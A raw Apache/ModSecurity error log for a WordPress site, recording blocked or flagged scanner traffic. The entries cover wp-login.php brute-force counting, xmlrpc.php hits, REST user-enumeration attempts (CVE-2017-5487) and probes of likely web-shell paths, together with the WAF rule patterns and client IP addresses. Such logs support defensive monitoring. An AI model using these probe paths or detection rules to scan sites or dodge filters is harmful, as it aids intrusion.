[Sun Jan 25 00:57:05.426321 2026] [:error] [pid 40905:tid 40976] [client 64.89.163.25:58685] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXT54V3rUAneNkh7mXDzDAAAAIo"]
[Sun Jan 25 00:57:06.062062 2026] [:error] [pid 60761:tid 60779] [client 64.89.163.25:58937] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXT54lZQvxLvEbXXh9KgXwAAAU8"]
[Sun Jan 25 01:16:09.291666 2026] [:error] [pid 41009:tid 41016] [client 170.187.157.137:34180] [client 170.187.157.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.187.157.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXT-WWrewfoFUDD3TM0EugAAAMU"]
[Sun Jan 25 02:23:11.777077 2026] [:error] [pid 40902:tid 40929] [client 90.156.169.111:51578] [client 90.156.169.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 90.156.169.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXUODwSCceZpurDgOeswSwAAABE"]
[Sun Jan 25 03:33:33.814619 2026] [:error] [pid 53421:tid 53507] [client 5.101.50.197:48238] [client 5.101.50.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.101.50.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXUejZKP_6Rogdk6hdF7awAAAJg"]
[Sun Jan 25 04:39:58.099307 2026] [:error] [pid 53421:tid 53500] [client 51.159.214.31:38334] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.159.214.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXUuHpKP_6Rogdk6hdGOjwAAAJE"]
[Sun Jan 25 05:46:00.773653 2026] [:error] [pid 33687:tid 33694] [client 185.237.252.236:41628] [client 185.237.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.237.252.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXU9mIc6VUyZP5DZSy6czQAAAQQ"]
[Sun Jan 25 06:50:13.418736 2026] [:error] [pid 53421:tid 53493] [client 104.248.23.4:33768] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.23.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXVMpZKP_6Rogdk6hdG7tgAAAIo"]
[Sun Jan 25 07:57:41.578683 2026] [:error] [pid 53420:tid 53461] [client 94.205.249.38:10022] [client 94.205.249.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.205.249.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXVcdY5y-t2ZKNqnnbWZJgAAAEU"]
[Sun Jan 25 08:59:40.278867 2026] [:error] [pid 53419:tid 53448] [client 173.236.142.111:45306] [client 173.236.142.111] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXVq_CNxBUypy_ALgwN4mQAAABQ"]
[Sun Jan 25 09:03:31.764272 2026] [:error] [pid 53521:tid 53540] [client 154.62.226.241:54444] [client 154.62.226.241] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXVr40AzLL1HphkAdX61vwAAAMc"]
[Sun Jan 25 09:04:00.977138 2026] [:error] [pid 53521:tid 53548] [client 35.92.160.99:43586] [client 35.92.160.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.92.160.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXVsAEAzLL1HphkAdX618wAAAM8"]
[Sun Jan 25 09:11:59.947091 2026] [:error] [pid 53419:tid 53448] [client 200.6.124.11:33724] [client 200.6.124.11] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXVt3yNxBUypy_ALgwN74gAAABQ"]
[Sun Jan 25 09:28:25.655262 2026] [:error] [pid 33687:tid 33692] [client 111.172.249.49:33149] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXVxuYc6VUyZP5DZSy78vgAAAQI"]
[Sun Jan 25 10:11:23.389817 2026] [:error] [pid 53419:tid 53436] [client 178.128.250.184:38902] [client 178.128.250.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.250.184, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXV7yyNxBUypy_ALgwONIQAAAAg"]
[Sun Jan 25 11:24:00.004500 2026] [:error] [pid 53421:tid 53495] [client 90.156.169.111:50556] [client 90.156.169.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 90.156.169.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXWM0JKP_6Rogdk6hdEZfgAAAIw"]
[Sun Jan 25 12:18:28.603871 2026] [ssl:error] [pid 9122:tid 9126] [client 178.62.82.141:40232] AH02032: Hostname caminsenioribraila.ro provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Sun Jan 25 13:36:23.709165 2026] [:error] [pid 9070:tid 9079] [client 213.132.222.51:39822] [client 213.132.222.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.132.222.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXWr17LNl7Vxe1mYetH_HQAAAUc"]
[Sun Jan 25 14:44:55.607904 2026] [:error] [pid 53521:tid 53544] [client 88.99.242.15:34866] [client 88.99.242.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.242.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXW750AzLL1HphkAdX4JgQAAAMs"]
[Sun Jan 25 14:54:08.427871 2026] [:error] [pid 9122:tid 9141] [client 43.130.102.223:46488] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXW-EGgJ3AtoqtQp2gTOsAAAAZE"]
[Sun Jan 25 15:56:39.489250 2026] [:error] [pid 9122:tid 9128] [client 193.70.32.184:56180] [client 193.70.32.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.70.32.184, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXXMt2gJ3AtoqtQp2gTnggAAAYQ"]
[Sun Jan 25 17:02:29.701315 2026] [:error] [pid 53420:tid 53477] [client 155.133.142.66:47344] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.142.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXXcJY5y-t2ZKNqnnbUUnQAAAFU"]
[Sun Jan 25 17:29:08.212420 2026] [:error] [pid 9070:tid 9093] [client 35.194.73.71:50681] [client 35.194.73.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.194.73.71, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXXiZLLNl7Vxe1mYetFCWwAAAVU"]
[Sun Jan 25 17:29:11.249161 2026] [:error] [pid 9070:tid 9089] [client 35.194.73.71:50681] [client 35.194.73.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXXiZ7LNl7Vxe1mYetFCXwAAAVE"]
[Sun Jan 25 17:29:13.707513 2026] [:error] [pid 9070:tid 9072] [client 35.194.73.71:50681] [client 35.194.73.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.194.73.71, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXXiabLNl7Vxe1mYetFCYQAAAUA"]
[Sun Jan 25 18:12:53.351331 2026] [:error] [pid 33687:tid 33710] [client 217.160.88.219:35222] [client 217.160.88.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.88.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXXspYc6VUyZP5DZSy6QeAAAARQ"]
[Sun Jan 25 19:22:20.543629 2026] [:error] [pid 9122:tid 9147] [client 212.125.4.206:50028] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.125.4.206, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXX87GgJ3AtoqtQp2gQqtAAAAZc"]
[Sun Jan 25 20:37:02.286230 2026] [:error] [pid 53420:tid 53466] [client 20.212.251.69:39212] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.212.251.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXYObo5y-t2ZKNqnnbVAqwAAAEo"]
[Sun Jan 25 21:44:25.906937 2026] [:error] [pid 53421:tid 53488] [client 206.189.98.194:39896] [client 206.189.98.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.98.194, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXYeOZKP_6Rogdk6hdGflgAAAIU"]
[Sun Jan 25 22:19:23.313096 2026] [:error] [pid 53521:tid 53540] [client 106.54.62.156:42476] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXYma0AzLL1HphkAdX5mSgAAAMc"]
[Sun Jan 25 22:54:40.427826 2026] [:error] [pid 9122:tid 9126] [client 128.199.207.13:64022] [client 128.199.207.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.199.207.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXYusGgJ3AtoqtQp2gRhJAAAAYI"]
[Mon Jan 26 00:55:37.861242 2026] [:error] [pid 48918:tid 48947] [client 3.136.151.211:4296] [client 3.136.151.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.136.151.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXZLCbFdNV6RkULOt6EjxQAAAJM"]
[Mon Jan 26 00:55:39.512696 2026] [:error] [pid 48918:tid 48946] [client 3.136.151.211:4296] [client 3.136.151.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.136.151.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXZLC7FdNV6RkULOt6EjxwAAAJI"], referer: https://vetstars.com.au/wp-login.php?action=register
[Mon Jan 26 02:30:36.474435 2026] [:error] [pid 49084:tid 49105] [client 5.196.202.32:55228] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.196.202.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXZhTJHUOXll3XccoO40LQAAAVM"]
[Mon Jan 26 03:41:09.384799 2026] [:error] [pid 18797:tid 18814] [client 78.47.65.98:37615] [client 78.47.65.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.47.65.98, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXZx1e8xJhKC38ipIF4n6QAAAg8"]
[Mon Jan 26 04:48:39.960471 2026] [:error] [pid 61286:tid 61302] [client 35.234.37.132:45432] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.234.37.132, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXaBp8nVt687wYGMPn9G6QAAAUw"]
[Mon Jan 26 05:57:07.625442 2026] [:error] [pid 61252:tid 61266] [client 23.94.202.10:46446] [client 23.94.202.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.202.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXaRs7rGlf8FG2etxUC7pAAAAQw"]
[Mon Jan 26 07:06:24.691341 2026] [:error] [pid 24558:tid 24622] [client 92.204.53.188:51640] [client 92.204.53.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.53.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXah8Ao1PXqeJqIMTQYKzgAAAIE"]
[Mon Jan 26 09:21:45.194225 2026] [:error] [pid 24558:tid 24644] [client 5.253.0.94:45096] [client 5.253.0.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.253.0.94, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXbBqQo1PXqeJqIMTQYsugAAAJc"]
[Mon Jan 26 11:43:52.617707 2026] [:error] [pid 24666:tid 24676] [client 66.179.210.205:48474] [client 66.179.210.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.179.210.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXbi-JmH-L0_jbK3i9FpLAAAAMg"]
[Mon Jan 26 12:51:19.034073 2026] [:error] [pid 61252:tid 61272] [client 192.241.176.150:55884] [client 192.241.176.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.241.176.150, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXbyx7rGlf8FG2etxUAx-wAAARI"]
[Mon Jan 26 23:14:17.799382 2026] [:error] [pid 24557:tid 24608] [client 45.133.5.69:23863] [client 45.133.5.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXeEyerlG7Vm9pxV14xKeQAAAE4"]
[Tue Jan 27 00:03:21.076664 2026] [:error] [pid 24558:tid 24629] [client 122.51.236.174:38830] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXeQSQo1PXqeJqIMTQbIqwAAAIg"]
[Tue Jan 27 02:57:25.750816 2026] [:error] [pid 44587:tid 44798] [client 40.115.140.37:7394] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/409.php"] [unique_id "aXe5FYsXadca93KAT8QAzQAAAMY"]
[Tue Jan 27 02:57:26.509646 2026] [:error] [pid 57173:tid 57249] [client 40.115.140.37:13256] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/409.php"] [unique_id "aXe5Fk4W-bz8q8pfNmgwZAAAABA"]
[Tue Jan 27 02:57:27.477995 2026] [:error] [pid 23303:tid 23316] [client 40.115.140.37:12060] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/409.php"] [unique_id "aXe5F59-XqTbIalaUZyflQAAAYs"]
[Tue Jan 27 02:57:28.121927 2026] [:error] [pid 23303:tid 23313] [client 40.115.140.37:5164] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/409.php"] [unique_id "aXe5GJ9-XqTbIalaUZyflgAAAYg"]
[Tue Jan 27 02:57:28.843470 2026] [:error] [pid 44586:tid 44765] [client 40.115.140.37:4073] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cq.php"] [unique_id "aXe5GKZDnq-dPBqM5Li4tQAAAIE"]
[Tue Jan 27 02:57:29.509366 2026] [:error] [pid 44586:tid 44770] [client 40.115.140.37:12062] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cq.php"] [unique_id "aXe5GaZDnq-dPBqM5Li4twAAAIY"]
[Tue Jan 27 02:57:30.092464 2026] [:error] [pid 57173:tid 57256] [client 40.115.140.37:11195] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cq.php"] [unique_id "aXe5Gk4W-bz8q8pfNmgwawAAABc"]
[Tue Jan 27 02:57:30.917558 2026] [:error] [pid 44588:tid 44829] [client 40.115.140.37:4084] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cq.php"] [unique_id "aXe5GjHRQD80UhqYrcAoWgAAAQk"]
[Tue Jan 27 02:57:31.460757 2026] [:error] [pid 23303:tid 23329] [client 40.115.140.37:2221] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z9v.php"] [unique_id "aXe5G59-XqTbIalaUZyfmwAAAZg"]
[Tue Jan 27 02:57:32.541293 2026] [:error] [pid 18632:tid 18635] [client 40.115.140.37:6560] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z9v.php"] [unique_id "aXe5HKU_e_bi-Bnkkm4cBwAAAEA"]
[Tue Jan 27 02:57:33.029005 2026] [:error] [pid 44586:tid 44787] [client 40.115.140.37:2197] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z9v.php"] [unique_id "aXe5HaZDnq-dPBqM5Li4ugAAAJc"]
[Tue Jan 27 02:57:34.181253 2026] [:error] [pid 23303:tid 23317] [client 40.115.140.37:11219] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z9v.php"] [unique_id "aXe5Hp9-XqTbIalaUZyfnQAAAYw"]
